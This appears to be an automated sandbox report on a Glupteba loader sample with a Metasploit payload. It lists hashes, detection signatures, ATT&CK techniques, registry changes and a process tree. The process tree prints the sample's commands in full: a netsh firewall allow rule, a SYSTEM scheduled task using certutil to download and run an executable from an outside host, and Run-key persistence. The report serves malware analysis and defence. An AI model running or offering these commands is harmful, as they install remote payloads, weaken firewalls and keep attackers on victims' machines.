glupteba | 4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072

General

Target

4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Size

3.8MB
MD5

865102f865aee65ef616330fc6dbdd53
SHA1

065102e3383ebea037d6d239475360a96d10d215
SHA256

4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072
SHA512

429864e9d8a737f07115188e0c639e3ebb182a906307945b992a8337ae682952795c9cc9dd74a9a2012124bcf440cbafa074ab2a7d35acb834dfd23f4a8a20cc

Score

10^/10

glupteba metasploit backdoor discovery dropper evasion loader persistence trojan

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 7 IoCs

Processes:

resource	yara_rule
behavioral2/memory/2040-131-0x0000000003C30000-0x0000000004432000-memory.dmp	family_glupteba
behavioral2/memory/2040-132-0x0000000000400000-0x0000000003352000-memory.dmp	family_glupteba
behavioral2/memory/2040-134-0x0000000000400000-0x0000000003352000-memory.dmp	family_glupteba
behavioral2/memory/3924-138-0x0000000000400000-0x0000000003352000-memory.dmp	family_glupteba
behavioral2/memory/3924-142-0x0000000000400000-0x0000000003352000-memory.dmp	family_glupteba
behavioral2/memory/1208-144-0x0000000000400000-0x0000000003352000-memory.dmp	family_glupteba
behavioral2/memory/1208-145-0x0000000000400000-0x0000000003352000-memory.dmp	family_glupteba

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

Processes:

svchost.exe

description	pid	process	target process
PID 3244 created 2040	3244	svchost.exe	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
PID 3244 created 1208	3244	svchost.exe	csrss.exe
PID 3244 created 1208	3244	svchost.exe	csrss.exe
PID 3244 created 1208	3244	svchost.exe	csrss.exe

Executes dropped EXE 2 IoCs

Processes:

csrss.exepatch.exe

pid process

1208 csrss.exe
3948 patch.exe
Modifies Windows Firewall 1 TTPs 1 IoCs
evasion

Modify Existing Service
T1031

Processes:

netsh.exe

pid process

4088 netsh.exe

pid	process
1208	csrss.exe
3948	patch.exe

pid	process
4088	netsh.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\DarkCherry = "\"C:\\Windows\\rss\\csrss.exe\""	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Modifies boot configuration data using bcdedit 1 IoCs

Processes:

bcdedit.exe

pid process

1960 bcdedit.exe

pid	process
1960	bcdedit.exe

Drops file in Windows directory 2 IoCs

Processes:

4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe

description	ioc	process
File opened for modification	C:\Windows\rss	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
File created	C:\Windows\rss\csrss.exe	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

3844 schtasks.exe
5068 schtasks.exe

pid	process
3844	schtasks.exe
5068	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

csrss.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-171 = "Central Daylight Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1871 = "Russia TZ 7 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2942 = "Sao Tome Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-751 = "Tonga Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-461 = "Afghanistan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2062 = "North Korea Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2142 = "Transbaikal Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1042 = "Ulaanbaatar Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-361 = "GTB Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-341 = "Egypt Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-52 = "Greenland Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2792 = "Novosibirsk Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-3141 = "South Sudan Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2392 = "Aleutian Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-271 = "Greenwich Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-792 = "SA Western Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-832 = "SA Eastern Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-401 = "Arabic Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-652 = "AUS Central Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2531 = "Chatham Islands Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-891 = "Morocco Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-211 = "Pacific Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-384 = "Namibia Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-3142 = "South Sudan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-512 = "Central Asia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-162 = "Central Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-212 = "Pacific Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-632 = "Tokyo Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-402 = "Arabic Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1821 = "Russia TZ 1 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1802 = "Line Islands Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1892 = "Russia TZ 3 Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1971 = "Belarus Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-142 = "Canada Central Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2372 = "Easter Island Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-92 = "Pacific SA Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2591 = "Tocantins Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-104 = "Central Brazilian Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2432 = "Cuba Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-261 = "GMT Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2141 = "Transbaikal Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-222 = "Alaskan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2611 = "Bougainville Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-292 = "Central European Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2341 = "Haiti Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1501 = "Turkey Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	csrss.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.execsrss.exe

pid	process
2040	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
2040	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
3924	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
3924	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
1208	csrss.exe
1208	csrss.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

Processes:

4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exesvchost.execsrss.exe

description	pid	process
Token: SeDebugPrivilege	2040	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Token: SeImpersonatePrivilege	2040	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Token: SeTcbPrivilege	3244	svchost.exe
Token: SeTcbPrivilege	3244	svchost.exe
Token: SeBackupPrivilege	3244	svchost.exe
Token: SeRestorePrivilege	3244	svchost.exe
Token: SeBackupPrivilege	3244	svchost.exe
Token: SeRestorePrivilege	3244	svchost.exe
Token: SeSystemEnvironmentPrivilege	1208	csrss.exe
Token: SeBackupPrivilege	3244	svchost.exe
Token: SeRestorePrivilege	3244	svchost.exe
Token: SeBackupPrivilege	3244	svchost.exe
Token: SeRestorePrivilege	3244	svchost.exe
Token: SeBackupPrivilege	3244	svchost.exe
Token: SeRestorePrivilege	3244	svchost.exe
Token: SeBackupPrivilege	3244	svchost.exe
Token: SeRestorePrivilege	3244	svchost.exe

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

svchost.exe4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.execmd.execsrss.exe

description	pid	process	target process
PID 3244 wrote to memory of 3924	3244	svchost.exe	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
PID 3244 wrote to memory of 3924	3244	svchost.exe	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
PID 3244 wrote to memory of 3924	3244	svchost.exe	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
PID 3924 wrote to memory of 4608	3924	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe	cmd.exe
PID 3924 wrote to memory of 4608	3924	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe	cmd.exe
PID 4608 wrote to memory of 4088	4608	cmd.exe	netsh.exe
PID 4608 wrote to memory of 4088	4608	cmd.exe	netsh.exe
PID 3924 wrote to memory of 1208	3924	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe	csrss.exe
PID 3924 wrote to memory of 1208	3924	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe	csrss.exe
PID 3924 wrote to memory of 1208	3924	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe	csrss.exe
PID 3244 wrote to memory of 5068	3244	svchost.exe	schtasks.exe
PID 3244 wrote to memory of 5068	3244	svchost.exe	schtasks.exe
PID 3244 wrote to memory of 3844	3244	svchost.exe	schtasks.exe
PID 3244 wrote to memory of 3844	3244	svchost.exe	schtasks.exe
PID 3244 wrote to memory of 3948	3244	svchost.exe	patch.exe
PID 3244 wrote to memory of 3948	3244	svchost.exe	patch.exe
PID 1208 wrote to memory of 1960	1208	csrss.exe	bcdedit.exe
PID 1208 wrote to memory of 1960	1208	csrss.exe	bcdedit.exe

C:\Users\Admin\AppData\Local\Temp\4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
"C:\Users\Admin\AppData\Local\Temp\4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2040

C:\Users\Admin\AppData\Local\Temp\4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
"C:\Users\Admin\AppData\Local\Temp\4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe"
2⤵
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3924

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:4608

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
- Modifies Windows Firewall
PID:4088

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1208

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:3844

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:5068

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
4⤵
- Executes dropped EXE
PID:3948

C:\Windows\system32\bcdedit.exe
C:\Windows\Sysnative\bcdedit.exe /v
4⤵
- Modifies boot configuration data using bcdedit
PID:1960

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3244

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Modify Existing Service

1

T1031

Registry Run Keys / Startup Folder

1

T1060

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

1

T1102

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.8MB

MD5
865102f865aee65ef616330fc6dbdd53

SHA1
065102e3383ebea037d6d239475360a96d10d215

SHA256
4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072

SHA512
429864e9d8a737f07115188e0c639e3ebb182a906307945b992a8337ae682952795c9cc9dd74a9a2012124bcf440cbafa074ab2a7d35acb834dfd23f4a8a20cc

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.8MB

MD5
865102f865aee65ef616330fc6dbdd53

SHA1
065102e3383ebea037d6d239475360a96d10d215

SHA256
4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072

SHA512
429864e9d8a737f07115188e0c639e3ebb182a906307945b992a8337ae682952795c9cc9dd74a9a2012124bcf440cbafa074ab2a7d35acb834dfd23f4a8a20cc

Download Submit
memory/1208-145-0x0000000000400000-0x0000000003352000-memory.dmp

Filesize
47.3MB

Download
memory/1208-143-0x0000000003C00000-0x0000000003FA7000-memory.dmp

Filesize
3.7MB

Download
memory/1208-139-0x0000000000000000-mapping.dmp

Download
memory/1208-144-0x0000000000400000-0x0000000003352000-memory.dmp

Filesize
47.3MB

Download
memory/1960-150-0x0000000000000000-mapping.dmp

Download
memory/2040-131-0x0000000003C30000-0x0000000004432000-memory.dmp

Filesize
8.0MB

Download
memory/2040-134-0x0000000000400000-0x0000000003352000-memory.dmp

Filesize
47.3MB

Download
memory/2040-130-0x000000000387F000-0x0000000003C26000-memory.dmp

Filesize
3.7MB

Download
memory/2040-132-0x0000000000400000-0x0000000003352000-memory.dmp

Filesize
47.3MB

Download
memory/3844-147-0x0000000000000000-mapping.dmp

Download
memory/3924-138-0x0000000000400000-0x0000000003352000-memory.dmp

Filesize
47.3MB

Download
memory/3924-142-0x0000000000400000-0x0000000003352000-memory.dmp

Filesize
47.3MB

Download
memory/3924-133-0x0000000000000000-mapping.dmp

Download
memory/3924-135-0x000000000361E000-0x00000000039C5000-memory.dmp

Filesize
3.7MB

Download
memory/3948-148-0x0000000000000000-mapping.dmp

Download
memory/4088-137-0x0000000000000000-mapping.dmp

Download
memory/4608-136-0x0000000000000000-mapping.dmp

Download
memory/5068-146-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads